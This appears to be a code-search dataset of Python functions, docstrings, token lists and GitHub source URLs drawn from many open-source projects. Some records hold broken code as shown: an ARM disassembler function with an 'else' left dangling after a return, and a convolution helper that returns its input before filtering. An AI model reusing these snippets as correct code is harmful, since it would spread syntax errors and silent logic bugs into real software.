partition `lst` into that the mininal number of groups that as evenly sized as possible and are at most `max_group_size` in size
[ "partition", "lst", "into", "that", "the", "mininal", "number", "of", "groups", "that", "as", "evenly", "sized", "as", "possible", "and", "are", "at", "most", "max_group_size", "in", "size" ]
def group(lst: List[T], max_group_size) -> List[List[T]]: """ partition `lst` into that the mininal number of groups that as evenly sized as possible and are at most `max_group_size` in size """ if max_group_size is None: return [lst] n_groups = (len(lst)+max_group_size-1) // max_group_size per_group = len(lst) // n_groups remainder = len(lst) % n_groups groups = [] ix = 0 for _ in range(n_groups): group_size = per_group if remainder > 0: remainder -= 1 group_size += 1 groups.append(lst[ix:ix + group_size]) ix += group_size return groups
[ "def", "group", "(", "lst", ":", "List", "[", "T", "]", ",", "max_group_size", ")", "->", "List", "[", "List", "[", "T", "]", "]", ":", "if", "max_group_size", "is", "None", ":", "return", "[", "lst", "]", "n_groups", "=", "(", "len", "(", "lst",...
https://github.com/allenai/document-qa/blob/2f9fa6878b60ed8a8a31bcf03f802cde292fe48b/docqa/utils.py#L88-L105
aaronportnoy/toolbag
2d39457a7617b2f334d203d8c8cf88a5a25ef1fa
toolbag/agent/dbg/envi/archs/arm/armdisasm.py
python
p_media
(opval, va)
27:20, 7:4
27:20, 7:4
[ "27", ":", "20", "7", ":", "4" ]
def p_media(opval, va): """ 27:20, 7:4 """ # media is a parent for the following: # parallel add/sub 01100 # pkh, ssat, ssat16, usat, usat16, sel 01101 # rev, rev16, revsh 01101 # smlad, smlsd, smlald, smusd 01110 # usad8, usada8 01111 definer = (opval>>23) & 0x1f if definer == 0xc: return p_media_parallel(opval, va) elif definer == 0xd: return p_media_pack_sat_rev_extend(opval, va) elif definer == 0xe: return p_mult(opval, va) return p_media_smul(opval, va) else: return p_media_usada(opval, va)
[ "def", "p_media", "(", "opval", ",", "va", ")", ":", "# media is a parent for the following:", "# parallel add/sub 01100", "# pkh, ssat, ssat16, usat, usat16, sel 01101", "# rev, rev16, revsh 01101", "# smlad, smlsd, smlald, smusd ...
https://github.com/aaronportnoy/toolbag/blob/2d39457a7617b2f334d203d8c8cf88a5a25ef1fa/toolbag/agent/dbg/envi/archs/arm/armdisasm.py#L595-L614
qutebrowser/qutebrowser
3a2aaaacbf97f4bf0c72463f3da94ed2822a5442
qutebrowser/browser/hints.py
python
HintManager._cleanup
(self)
Clean up after hinting.
Clean up after hinting.
[ "Clean", "up", "after", "hinting", "." ]
def _cleanup(self) -> None: """Clean up after hinting.""" assert self._context is not None for label in self._context.all_labels: label.cleanup() self.set_text.emit('') self._context = None
[ "def", "_cleanup", "(", "self", ")", "->", "None", ":", "assert", "self", ".", "_context", "is", "not", "None", "for", "label", "in", "self", ".", "_context", ".", "all_labels", ":", "label", ".", "cleanup", "(", ")", "self", ".", "set_text", ".", "e...
https://github.com/qutebrowser/qutebrowser/blob/3a2aaaacbf97f4bf0c72463f3da94ed2822a5442/qutebrowser/browser/hints.py#L428-L436
plotly/plotly.py
cfad7862594b35965c0e000813bd7805e8494a5b
packages/python/plotly/plotly/graph_objs/mesh3d/_colorbar.py
python
ColorBar.orientation
(self)
return self["orientation"]
Sets the orientation of the colorbar. The 'orientation' property is an enumeration that may be specified as: - One of the following enumeration values: ['h', 'v'] Returns ------- Any
Sets the orientation of the colorbar. The 'orientation' property is an enumeration that may be specified as: - One of the following enumeration values: ['h', 'v']
[ "Sets", "the", "orientation", "of", "the", "colorbar", ".", "The", "orientation", "property", "is", "an", "enumeration", "that", "may", "be", "specified", "as", ":", "-", "One", "of", "the", "following", "enumeration", "values", ":", "[", "h", "v", "]" ]
def orientation(self): """ Sets the orientation of the colorbar. The 'orientation' property is an enumeration that may be specified as: - One of the following enumeration values: ['h', 'v'] Returns ------- Any """ return self["orientation"]
[ "def", "orientation", "(", "self", ")", ":", "return", "self", "[", "\"orientation\"", "]" ]
https://github.com/plotly/plotly.py/blob/cfad7862594b35965c0e000813bd7805e8494a5b/packages/python/plotly/plotly/graph_objs/mesh3d/_colorbar.py#L355-L367
khanhnamle1994/natural-language-processing
01d450d5ac002b0156ef4cf93a07cb508c1bcdc5
assignment1/.env/lib/python2.7/site-packages/IPython/utils/path.py
python
get_ipython_module_path
(module_str)
return py3compat.cast_unicode(the_path, fs_encoding)
Find the path to an IPython module in this version of IPython. This will always find the version of the module that is in this importable IPython package. This will always return the path to the ``.py`` version of the module.
Find the path to an IPython module in this version of IPython.
[ "Find", "the", "path", "to", "an", "IPython", "module", "in", "this", "version", "of", "IPython", "." ]
def get_ipython_module_path(module_str): """Find the path to an IPython module in this version of IPython. This will always find the version of the module that is in this importable IPython package. This will always return the path to the ``.py`` version of the module. """ if module_str == 'IPython': return os.path.join(get_ipython_package_dir(), '__init__.py') mod = import_item(module_str) the_path = mod.__file__.replace('.pyc', '.py') the_path = the_path.replace('.pyo', '.py') return py3compat.cast_unicode(the_path, fs_encoding)
[ "def", "get_ipython_module_path", "(", "module_str", ")", ":", "if", "module_str", "==", "'IPython'", ":", "return", "os", ".", "path", ".", "join", "(", "get_ipython_package_dir", "(", ")", ",", "'__init__.py'", ")", "mod", "=", "import_item", "(", "module_st...
https://github.com/khanhnamle1994/natural-language-processing/blob/01d450d5ac002b0156ef4cf93a07cb508c1bcdc5/assignment1/.env/lib/python2.7/site-packages/IPython/utils/path.py#L343-L355
mozillazg/pypy
2ff5cd960c075c991389f842c6d59e71cf0cb7d0
pypy/module/thread/os_thread.py
python
get_ident
(space)
return space.newint(ident)
Return a non-zero integer that uniquely identifies the current thread amongst other threads that exist simultaneously. This may be used to identify per-thread resources. Even though on some platforms threads identities may appear to be allocated consecutive numbers starting at 1, this behavior should not be relied upon, and the number should be seen purely as a magic cookie. A thread's identity may be reused for another thread after it exits.
Return a non-zero integer that uniquely identifies the current thread amongst other threads that exist simultaneously. This may be used to identify per-thread resources. Even though on some platforms threads identities may appear to be allocated consecutive numbers starting at 1, this behavior should not be relied upon, and the number should be seen purely as a magic cookie. A thread's identity may be reused for another thread after it exits.
[ "Return", "a", "non", "-", "zero", "integer", "that", "uniquely", "identifies", "the", "current", "thread", "amongst", "other", "threads", "that", "exist", "simultaneously", ".", "This", "may", "be", "used", "to", "identify", "per", "-", "thread", "resources",...
def get_ident(space): """Return a non-zero integer that uniquely identifies the current thread amongst other threads that exist simultaneously. This may be used to identify per-thread resources. Even though on some platforms threads identities may appear to be allocated consecutive numbers starting at 1, this behavior should not be relied upon, and the number should be seen purely as a magic cookie. A thread's identity may be reused for another thread after it exits.""" ident = rthread.get_ident() return space.newint(ident)
[ "def", "get_ident", "(", "space", ")", ":", "ident", "=", "rthread", ".", "get_ident", "(", ")", "return", "space", ".", "newint", "(", "ident", ")" ]
https://github.com/mozillazg/pypy/blob/2ff5cd960c075c991389f842c6d59e71cf0cb7d0/pypy/module/thread/os_thread.py#L195-L204
TencentCloud/tencentcloud-sdk-python
3677fd1cdc8c5fd626ce001c13fd3b59d1f279d2
tencentcloud/tsf/v20180326/models.py
python
DeleteApiGroupRequest.__init__
(self)
r""" :param GroupId: API 分组ID :type GroupId: str
r""" :param GroupId: API 分组ID :type GroupId: str
[ "r", ":", "param", "GroupId", ":", "API", "分组ID", ":", "type", "GroupId", ":", "str" ]
def __init__(self): r""" :param GroupId: API 分组ID :type GroupId: str """ self.GroupId = None
[ "def", "__init__", "(", "self", ")", ":", "self", ".", "GroupId", "=", "None" ]
https://github.com/TencentCloud/tencentcloud-sdk-python/blob/3677fd1cdc8c5fd626ce001c13fd3b59d1f279d2/tencentcloud/tsf/v20180326/models.py#L3941-L3946
pypa/setuptools
9f37366aab9cd8f6baa23e6a77cfdb8daf97757e
setuptools/_vendor/pyparsing.py
python
Forward.__ilshift__
(self, other)
return self << other
[]
def __ilshift__(self, other): return self << other
[ "def", "__ilshift__", "(", "self", ",", "other", ")", ":", "return", "self", "<<", "other" ]
https://github.com/pypa/setuptools/blob/9f37366aab9cd8f6baa23e6a77cfdb8daf97757e/setuptools/_vendor/pyparsing.py#L4176-L4177
openstack/octavia
27e5b27d31c695ba72fb6750de2bdafd76e0d7d9
octavia/controller/worker/v2/tasks/database_tasks.py
python
DeleteHealthMonitorInDBByPool.execute
(self, pool_id)
Delete the health monitor in the DB. :param pool_id: ID of pool which health monitor should be deleted. :returns: None
Delete the health monitor in the DB.
[ "Delete", "the", "health", "monitor", "in", "the", "DB", "." ]
def execute(self, pool_id): """Delete the health monitor in the DB. :param pool_id: ID of pool which health monitor should be deleted. :returns: None """ db_pool = self.pool_repo.get(db_apis.get_session(), id=pool_id) provider_hm = provider_utils.db_HM_to_provider_HM( db_pool.health_monitor).to_dict() super().execute( provider_hm)
[ "def", "execute", "(", "self", ",", "pool_id", ")", ":", "db_pool", "=", "self", ".", "pool_repo", ".", "get", "(", "db_apis", ".", "get_session", "(", ")", ",", "id", "=", "pool_id", ")", "provider_hm", "=", "provider_utils", ".", "db_HM_to_provider_HM", ...
https://github.com/openstack/octavia/blob/27e5b27d31c695ba72fb6750de2bdafd76e0d7d9/octavia/controller/worker/v2/tasks/database_tasks.py#L201-L212
openedx/edx-platform
68dd185a0ab45862a2a61e0f803d7e03d2be71b5
common/lib/xmodule/xmodule/x_module.py
python
policy_key
(location)
return f'{location.block_type}/{location.block_id}'
Get the key for a location in a policy file. (Since the policy file is specific to a course, it doesn't need the full location url).
Get the key for a location in a policy file. (Since the policy file is specific to a course, it doesn't need the full location url).
[ "Get", "the", "key", "for", "a", "location", "in", "a", "policy", "file", ".", "(", "Since", "the", "policy", "file", "is", "specific", "to", "a", "course", "it", "doesn", "t", "need", "the", "full", "location", "url", ")", "." ]
def policy_key(location): """ Get the key for a location in a policy file. (Since the policy file is specific to a course, it doesn't need the full location url). """ return f'{location.block_type}/{location.block_id}'
[ "def", "policy_key", "(", "location", ")", ":", "return", "f'{location.block_type}/{location.block_id}'" ]
https://github.com/openedx/edx-platform/blob/68dd185a0ab45862a2a61e0f803d7e03d2be71b5/common/lib/xmodule/xmodule/x_module.py#L1031-L1036
tendenci/tendenci
0f2c348cc0e7d41bc56f50b00ce05544b083bf1d
tendenci/apps/navs/models.py
python
NavItem.prev_range
(self)
return list(prev)
[]
def prev_range(self): if self.prev: prev = range(0, self.prev.level-self.level) else: #last item prev = range(0, self.level+1) return list(prev)
[ "def", "prev_range", "(", "self", ")", ":", "if", "self", ".", "prev", ":", "prev", "=", "range", "(", "0", ",", "self", ".", "prev", ".", "level", "-", "self", ".", "level", ")", "else", ":", "#last item", "prev", "=", "range", "(", "0", ",", ...
https://github.com/tendenci/tendenci/blob/0f2c348cc0e7d41bc56f50b00ce05544b083bf1d/tendenci/apps/navs/models.py#L132-L138
tensorflow/benchmarks
16af178ad312e8c1213efb27a5f227044228bfdf
scripts/tf_cnn_benchmarks/all_reduce_benchmark.py
python
run_benchmark
(bench_cnn, num_iters)
Runs the all-reduce benchmark. Args: bench_cnn: The BenchmarkCNN where params, the variable manager, and other attributes are obtained. num_iters: Number of iterations to do all-reduce for for. Raises: ValueError: Invalid params of bench_cnn.
Runs the all-reduce benchmark.
[ "Runs", "the", "all", "-", "reduce", "benchmark", "." ]
def run_benchmark(bench_cnn, num_iters): """Runs the all-reduce benchmark. Args: bench_cnn: The BenchmarkCNN where params, the variable manager, and other attributes are obtained. num_iters: Number of iterations to do all-reduce for for. Raises: ValueError: Invalid params of bench_cnn. """ if bench_cnn.params.variable_update != 'replicated': raise ValueError('--variable_update=replicated must be specified to use' 'the all-reduce benchmark') if bench_cnn.params.variable_consistency == 'relaxed': raise ValueError('--variable_consistency=relaxed is not supported') benchmark_op = build_graph(bench_cnn.raw_devices, get_var_shapes(bench_cnn.model), bench_cnn.variable_mgr, num_iters) init_ops = [ tf.global_variables_initializer(), bench_cnn.variable_mgr.get_post_init_ops() ] loss_op = tf.no_op() if bench_cnn.graph_file: path, filename = os.path.split(bench_cnn.graph_file) as_text = filename.endswith('txt') log_fn('Writing GraphDef as %s to %s' % ( 'text' if as_text else 'binary', bench_cnn.graph_file)) tf.train.write_graph(tf.get_default_graph().as_graph_def(add_shapes=True), path, filename, as_text) run_graph(benchmark_op, bench_cnn, init_ops, loss_op)
[ "def", "run_benchmark", "(", "bench_cnn", ",", "num_iters", ")", ":", "if", "bench_cnn", ".", "params", ".", "variable_update", "!=", "'replicated'", ":", "raise", "ValueError", "(", "'--variable_update=replicated must be specified to use'", "'the all-reduce benchmark'", ...
https://github.com/tensorflow/benchmarks/blob/16af178ad312e8c1213efb27a5f227044228bfdf/scripts/tf_cnn_benchmarks/all_reduce_benchmark.py#L231-L265
aimagelab/novelty-detection
553cab1757ba18048343929515f65e7c3ca8ff90
models/blocks_3d.py
python
UpsampleBlock.__init__
(self, channel_in, channel_out, activation_fn, stride, output_padding, use_bn=True, use_bias=False)
Class constructor. :param channel_in: number of input channels. :param channel_out: number of output channels. :param activation_fn: activation to be employed. :param stride: the stride to be applied to upsample feature maps. :param output_padding: the padding to be added applied output feature maps. :param use_bn: whether or not to use batch-norm. :param use_bias: whether or not to use bias.
Class constructor.
[ "Class", "constructor", "." ]
def __init__(self, channel_in, channel_out, activation_fn, stride, output_padding, use_bn=True, use_bias=False): # type: (int, int, Module, Tuple[int, int, int], Tuple[int, int, int], bool, bool) -> None """ Class constructor. :param channel_in: number of input channels. :param channel_out: number of output channels. :param activation_fn: activation to be employed. :param stride: the stride to be applied to upsample feature maps. :param output_padding: the padding to be added applied output feature maps. :param use_bn: whether or not to use batch-norm. :param use_bias: whether or not to use bias. """ super(UpsampleBlock, self).__init__(channel_in, channel_out, activation_fn, use_bn, use_bias) self.stride = stride self.output_padding = output_padding # Convolutions self.conv1a = nn.ConvTranspose3d(channel_in, channel_out, kernel_size=5, padding=2, stride=stride, output_padding=output_padding, bias=use_bias) self.conv1b = nn.Conv3d(in_channels=channel_out, out_channels=channel_out, kernel_size=3, padding=1, stride=1, bias=use_bias) self.conv2a = nn.ConvTranspose3d(channel_in, channel_out, kernel_size=5, padding=2, stride=stride, output_padding=output_padding, bias=use_bias) # Batch Normalization layers self.bn1a = self.get_bn() self.bn1b = self.get_bn() self.bn2a = self.get_bn()
[ "def", "__init__", "(", "self", ",", "channel_in", ",", "channel_out", ",", "activation_fn", ",", "stride", ",", "output_padding", ",", "use_bn", "=", "True", ",", "use_bias", "=", "False", ")", ":", "# type: (int, int, Module, Tuple[int, int, int], Tuple[int, int, in...
https://github.com/aimagelab/novelty-detection/blob/553cab1757ba18048343929515f65e7c3ca8ff90/models/blocks_3d.py#L139-L167
sagemath/sage
f9b2db94f675ff16963ccdefba4f1a3393b3fe0d
src/sage/interfaces/gap.py
python
intmod_gap_to_sage
(x)
r""" INPUT: - x -- Gap integer mod ring element EXAMPLES:: sage: a = gap(Mod(3, 18)); a ZmodnZObj( 3, 18 ) sage: b = sage.interfaces.gap.intmod_gap_to_sage(a); b 3 sage: b.parent() Ring of integers modulo 18 sage: a = gap(Mod(3, 17)); a Z(17) sage: b = sage.interfaces.gap.intmod_gap_to_sage(a); b 3 sage: b.parent() Finite Field of size 17 sage: a = gap(Mod(0, 17)); a 0*Z(17) sage: b = sage.interfaces.gap.intmod_gap_to_sage(a); b 0 sage: b.parent() Finite Field of size 17 sage: a = gap(Mod(3, 65537)); a ZmodpZObj( 3, 65537 ) sage: b = sage.interfaces.gap.intmod_gap_to_sage(a); b 3 sage: b.parent() Ring of integers modulo 65537
r""" INPUT:
[ "r", "INPUT", ":" ]
def intmod_gap_to_sage(x): r""" INPUT: - x -- Gap integer mod ring element EXAMPLES:: sage: a = gap(Mod(3, 18)); a ZmodnZObj( 3, 18 ) sage: b = sage.interfaces.gap.intmod_gap_to_sage(a); b 3 sage: b.parent() Ring of integers modulo 18 sage: a = gap(Mod(3, 17)); a Z(17) sage: b = sage.interfaces.gap.intmod_gap_to_sage(a); b 3 sage: b.parent() Finite Field of size 17 sage: a = gap(Mod(0, 17)); a 0*Z(17) sage: b = sage.interfaces.gap.intmod_gap_to_sage(a); b 0 sage: b.parent() Finite Field of size 17 sage: a = gap(Mod(3, 65537)); a ZmodpZObj( 3, 65537 ) sage: b = sage.interfaces.gap.intmod_gap_to_sage(a); b 3 sage: b.parent() Ring of integers modulo 65537 """ from sage.rings.finite_rings.all import FiniteField from sage.rings.finite_rings.integer_mod import Mod from sage.rings.integer import Integer s = str(x) m = re.search(r'Z\(([0-9]*)\)', s) if m: return gfq_gap_to_sage(x, FiniteField(Integer(m.group(1)))) m = re.match(r'Zmod[np]ZObj\( ([0-9]*), ([0-9]*) \)', s) if m: return Mod(Integer(m.group(1)), Integer(m.group(2))) raise ValueError("Unable to convert Gap element '%s'" % s)
[ "def", "intmod_gap_to_sage", "(", "x", ")", ":", "from", "sage", ".", "rings", ".", "finite_rings", ".", "all", "import", "FiniteField", "from", "sage", ".", "rings", ".", "finite_rings", ".", "integer_mod", "import", "Mod", "from", "sage", ".", "rings", "...
https://github.com/sagemath/sage/blob/f9b2db94f675ff16963ccdefba4f1a3393b3fe0d/src/sage/interfaces/gap.py#L1691-L1737
drj11/pypng
1b5bc2d7e7a068a2f0b41bfce282349748bf133b
code/iccp.py
python
RDXYZ
(s)
return readICCXYZNumber(s[8:])
Convert ICC XYZType to rank 1 array of trimulus values.
Convert ICC XYZType to rank 1 array of trimulus values.
[ "Convert", "ICC", "XYZType", "to", "rank", "1", "array", "of", "trimulus", "values", "." ]
def RDXYZ(s): """Convert ICC XYZType to rank 1 array of trimulus values.""" # See [ICC 2001] 6.5.26 assert s[0:4] == "XYZ " return readICCXYZNumber(s[8:])
[ "def", "RDXYZ", "(", "s", ")", ":", "# See [ICC 2001] 6.5.26", "assert", "s", "[", "0", ":", "4", "]", "==", "\"XYZ \"", "return", "readICCXYZNumber", "(", "s", "[", "8", ":", "]", ")" ]
https://github.com/drj11/pypng/blob/1b5bc2d7e7a068a2f0b41bfce282349748bf133b/code/iccp.py#L489-L494
IronLanguages/ironpython3
7a7bb2a872eeab0d1009fc8a6e24dca43f65b693
Src/StdLib/Lib/inspect.py
python
classify_class_attrs
(cls)
return result
Return list of attribute-descriptor tuples. For each name in dir(cls), the return list contains a 4-tuple with these elements: 0. The name (a string). 1. The kind of attribute this is, one of these strings: 'class method' created via classmethod() 'static method' created via staticmethod() 'property' created via property() 'method' any other flavor of method or descriptor 'data' not a method 2. The class which defined this attribute (a class). 3. The object as obtained by calling getattr; if this fails, or if the resulting object does not live anywhere in the class' mro (including metaclasses) then the object is looked up in the defining class's dict (found by walking the mro). If one of the items in dir(cls) is stored in the metaclass it will now be discovered and not have None be listed as the class in which it was defined. Any items whose home class cannot be discovered are skipped.
Return list of attribute-descriptor tuples.
[ "Return", "list", "of", "attribute", "-", "descriptor", "tuples", "." ]
def classify_class_attrs(cls): """Return list of attribute-descriptor tuples. For each name in dir(cls), the return list contains a 4-tuple with these elements: 0. The name (a string). 1. The kind of attribute this is, one of these strings: 'class method' created via classmethod() 'static method' created via staticmethod() 'property' created via property() 'method' any other flavor of method or descriptor 'data' not a method 2. The class which defined this attribute (a class). 3. The object as obtained by calling getattr; if this fails, or if the resulting object does not live anywhere in the class' mro (including metaclasses) then the object is looked up in the defining class's dict (found by walking the mro). If one of the items in dir(cls) is stored in the metaclass it will now be discovered and not have None be listed as the class in which it was defined. Any items whose home class cannot be discovered are skipped. """ mro = getmro(cls) metamro = getmro(type(cls)) # for attributes stored in the metaclass metamro = tuple([cls for cls in metamro if cls not in (type, object)]) class_bases = (cls,) + mro all_bases = class_bases + metamro names = dir(cls) # :dd any DynamicClassAttributes to the list of names; # this may result in duplicate entries if, for example, a virtual # attribute with the same name as a DynamicClassAttribute exists. for base in mro: for k, v in base.__dict__.items(): if isinstance(v, types.DynamicClassAttribute): names.append(k) result = [] processed = set() for name in names: # Get the object associated with the name, and where it was defined. # Normal objects will be looked up with both getattr and directly in # its class' dict (in case getattr fails [bug #1785], and also to look # for a docstring). # For DynamicClassAttributes on the second pass we only look in the # class's dict. # # Getting an obj from the __dict__ sometimes reveals more than # using getattr. Static and class methods are dramatic examples. homecls = None get_obj = None dict_obj = None if name not in processed: try: if name == '__dict__': raise Exception("__dict__ is special, don't want the proxy") get_obj = getattr(cls, name) except Exception as exc: pass else: homecls = getattr(get_obj, "__objclass__", homecls) if homecls not in class_bases: # if the resulting object does not live somewhere in the # mro, drop it and search the mro manually homecls = None last_cls = None # first look in the classes for srch_cls in class_bases: srch_obj = getattr(srch_cls, name, None) if srch_obj is get_obj: last_cls = srch_cls # then check the metaclasses for srch_cls in metamro: try: srch_obj = srch_cls.__getattr__(cls, name) except AttributeError: continue if srch_obj is get_obj: last_cls = srch_cls if last_cls is not None: homecls = last_cls for base in all_bases: if name in base.__dict__: dict_obj = base.__dict__[name] if homecls not in metamro: homecls = base break if homecls is None: # unable to locate the attribute anywhere, most likely due to # buggy custom __dir__; discard and move on continue obj = get_obj if get_obj is not None else dict_obj # Classify the object or its descriptor. if isinstance(dict_obj, staticmethod): kind = "static method" obj = dict_obj elif isinstance(dict_obj, classmethod): kind = "class method" obj = dict_obj elif isinstance(dict_obj, property): kind = "property" obj = dict_obj elif isroutine(obj): kind = "method" else: kind = "data" result.append(Attribute(name, kind, homecls, obj)) processed.add(name) return result
[ "def", "classify_class_attrs", "(", "cls", ")", ":", "mro", "=", "getmro", "(", "cls", ")", "metamro", "=", "getmro", "(", "type", "(", "cls", ")", ")", "# for attributes stored in the metaclass", "metamro", "=", "tuple", "(", "[", "cls", "for", "cls", "in...
https://github.com/IronLanguages/ironpython3/blob/7a7bb2a872eeab0d1009fc8a6e24dca43f65b693/Src/StdLib/Lib/inspect.py#L310-L422
tomplus/kubernetes_asyncio
f028cc793e3a2c519be6a52a49fb77ff0b014c9b
kubernetes_asyncio/client/models/v1_scope_selector.py
python
V1ScopeSelector.to_dict
(self)
return result
Returns the model properties as a dict
Returns the model properties as a dict
[ "Returns", "the", "model", "properties", "as", "a", "dict" ]
def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.openapi_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value return result
[ "def", "to_dict", "(", "self", ")", ":", "result", "=", "{", "}", "for", "attr", ",", "_", "in", "six", ".", "iteritems", "(", "self", ".", "openapi_types", ")", ":", "value", "=", "getattr", "(", "self", ",", "attr", ")", "if", "isinstance", "(", ...
https://github.com/tomplus/kubernetes_asyncio/blob/f028cc793e3a2c519be6a52a49fb77ff0b014c9b/kubernetes_asyncio/client/models/v1_scope_selector.py#L78-L100
Jenyay/outwiker
50530cf7b3f71480bb075b2829bc0669773b835b
src/outwiker/core/iconscollection.py
python
IconsCollection._scanIconsDir
(self, rootFolder)
Fill _groups and _groupsCover
Fill _groups and _groupsCover
[ "Fill", "_groups", "and", "_groupsCover" ]
def _scanIconsDir(self, rootFolder): ''' Fill _groups and _groupsCover ''' self._groups = {} self._groupsCover = {} rootFiles = [self._rootGroupName] + os.listdir(rootFolder) for itemname in rootFiles: fullpath = os.path.join(rootFolder, itemname) if os.path.isdir(fullpath): self._groups[itemname] = self._findIcons(fullpath) self._groupsCover[itemname] = self._findCover(fullpath)
[ "def", "_scanIconsDir", "(", "self", ",", "rootFolder", ")", ":", "self", ".", "_groups", "=", "{", "}", "self", ".", "_groupsCover", "=", "{", "}", "rootFiles", "=", "[", "self", ".", "_rootGroupName", "]", "+", "os", ".", "listdir", "(", "rootFolder"...
https://github.com/Jenyay/outwiker/blob/50530cf7b3f71480bb075b2829bc0669773b835b/src/outwiker/core/iconscollection.py#L49-L63
Alic-yuan/nlp-beginner-finish
34d9aaaac77be6c4be6b69823d76b79151356ed8
task3/layers.py
python
Seq2SeqEncoder.__init__
(self, rnn_type, input_size, hidden_size, num_layers=1, bias=True, dropout=0.0, bidirectional=False)
rnn_type must be a class inheriting from torch.nn.RNNBase
rnn_type must be a class inheriting from torch.nn.RNNBase
[ "rnn_type", "must", "be", "a", "class", "inheriting", "from", "torch", ".", "nn", ".", "RNNBase" ]
def __init__(self, rnn_type, input_size, hidden_size, num_layers=1, bias=True, dropout=0.0, bidirectional=False): "rnn_type must be a class inheriting from torch.nn.RNNBase" assert issubclass(rnn_type, nn.RNNBase) super(Seq2SeqEncoder, self).__init__() self.rnn_type = rnn_type self.input_size = input_size self.hidden_size = hidden_size self.num_layers = num_layers self.bias = bias self.dropout = dropout self.bidirectional = bidirectional self.encoder = rnn_type(input_size, hidden_size, num_layers, bias=bias, batch_first=True, dropout=dropout, bidirectional=bidirectional)
[ "def", "__init__", "(", "self", ",", "rnn_type", ",", "input_size", ",", "hidden_size", ",", "num_layers", "=", "1", ",", "bias", "=", "True", ",", "dropout", "=", "0.0", ",", "bidirectional", "=", "False", ")", ":", "assert", "issubclass", "(", "rnn_typ...
https://github.com/Alic-yuan/nlp-beginner-finish/blob/34d9aaaac77be6c4be6b69823d76b79151356ed8/task3/layers.py#L27-L39
seleniumbase/SeleniumBase
0d1de7238bfafe4b7309fec6f735dcd0dc4538a8
seleniumbase/fixtures/page_utils.py
python
is_name_selector
(selector)
return False
A basic method to determine if a selector is a name selector.
A basic method to determine if a selector is a name selector.
[ "A", "basic", "method", "to", "determine", "if", "a", "selector", "is", "a", "name", "selector", "." ]
def is_name_selector(selector): """ A basic method to determine if a selector is a name selector. """ if selector.startswith("name=") or selector.startswith("&"): return True return False
[ "def", "is_name_selector", "(", "selector", ")", ":", "if", "selector", ".", "startswith", "(", "\"name=\"", ")", "or", "selector", ".", "startswith", "(", "\"&\"", ")", ":", "return", "True", "return", "False" ]
https://github.com/seleniumbase/SeleniumBase/blob/0d1de7238bfafe4b7309fec6f735dcd0dc4538a8/seleniumbase/fixtures/page_utils.py#L67-L73
gcollazo/BrowserRefresh-Sublime
daee0eda6480c07f8636ed24e5c555d24e088886
win/pywinauto/controls/Accessability HwndWrapper.py
python
HwndWrapper.ContextHelpID
(self)
return handleprops.contexthelpid(self)
Return the Context Help ID of the window
Return the Context Help ID of the window
[ "Return", "the", "Context", "Help", "ID", "of", "the", "window" ]
def ContextHelpID(self): "Return the Context Help ID of the window" return handleprops.contexthelpid(self)
[ "def", "ContextHelpID", "(", "self", ")", ":", "return", "handleprops", ".", "contexthelpid", "(", "self", ")" ]
https://github.com/gcollazo/BrowserRefresh-Sublime/blob/daee0eda6480c07f8636ed24e5c555d24e088886/win/pywinauto/controls/Accessability HwndWrapper.py#L400-L402
nv-tlabs/GSCNN
3648b86d822f3e73ab1d8e827cf47466bf8f01a7
my_functionals/custom_functional.py
python
convTri
(input, r, cuda=False)
return output
Convolves an image by a 2D triangle filter (the 1D triangle filter f is [1:r r+1 r:-1:1]/(r+1)^2, the 2D version is simply conv2(f,f')) :param input: :param r: integer filter radius :param cuda: move the kernel to gpu :return:
Convolves an image by a 2D triangle filter (the 1D triangle filter f is [1:r r+1 r:-1:1]/(r+1)^2, the 2D version is simply conv2(f,f')) :param input: :param r: integer filter radius :param cuda: move the kernel to gpu :return:
[ "Convolves", "an", "image", "by", "a", "2D", "triangle", "filter", "(", "the", "1D", "triangle", "filter", "f", "is", "[", "1", ":", "r", "r", "+", "1", "r", ":", "-", "1", ":", "1", "]", "/", "(", "r", "+", "1", ")", "^2", "the", "2D", "ve...
def convTri(input, r, cuda=False): """ Convolves an image by a 2D triangle filter (the 1D triangle filter f is [1:r r+1 r:-1:1]/(r+1)^2, the 2D version is simply conv2(f,f')) :param input: :param r: integer filter radius :param cuda: move the kernel to gpu :return: """ if (r <= 1): raise ValueError() n, c, h, w = input.shape return input f = list(range(1, r + 1)) + [r + 1] + list(reversed(range(1, r + 1))) kernel = torch.Tensor([f]) / (r + 1) ** 2 if type(cuda) is int: if cuda != -1: kernel = kernel.cuda(device=cuda) else: if cuda is True: kernel = kernel.cuda() # padding w input_ = F.pad(input, (1, 1, 0, 0), mode='replicate') input_ = F.pad(input_, (r, r, 0, 0), mode='reflect') input_ = [input_[:, :, :, :r], input, input_[:, :, :, -r:]] input_ = torch.cat(input_, 3) t = input_ # padding h input_ = F.pad(input_, (0, 0, 1, 1), mode='replicate') input_ = F.pad(input_, (0, 0, r, r), mode='reflect') input_ = [input_[:, :, :r, :], t, input_[:, :, -r:, :]] input_ = torch.cat(input_, 2) output = F.conv2d(input_, kernel.unsqueeze(0).unsqueeze(0).repeat([c, 1, 1, 1]), padding=0, groups=c) output = F.conv2d(output, kernel.t().unsqueeze(0).unsqueeze(0).repeat([c, 1, 1, 1]), padding=0, groups=c) return output
[ "def", "convTri", "(", "input", ",", "r", ",", "cuda", "=", "False", ")", ":", "if", "(", "r", "<=", "1", ")", ":", "raise", "ValueError", "(", ")", "n", ",", "c", ",", "h", ",", "w", "=", "input", ".", "shape", "return", "input", "f", "=", ...
https://github.com/nv-tlabs/GSCNN/blob/3648b86d822f3e73ab1d8e827cf47466bf8f01a7/my_functionals/custom_functional.py#L81-L122
neurosynth/neurosynth
9022f1b5a9713dedc9d8836ed023aaba2a983d87
neurosynth/base/lexparser.py
python
Parser.p_freq_float
(self, p)
freq : FLOAT
freq : FLOAT
[ "freq", ":", "FLOAT" ]
def p_freq_float(self, p): 'freq : FLOAT' p[0] = p[1]
[ "def", "p_freq_float", "(", "self", ",", "p", ")", ":", "p", "[", "0", "]", "=", "p", "[", "1", "]" ]
https://github.com/neurosynth/neurosynth/blob/9022f1b5a9713dedc9d8836ed023aaba2a983d87/neurosynth/base/lexparser.py#L104-L106
zhl2008/awd-platform
0416b31abea29743387b10b3914581fbe8e7da5e
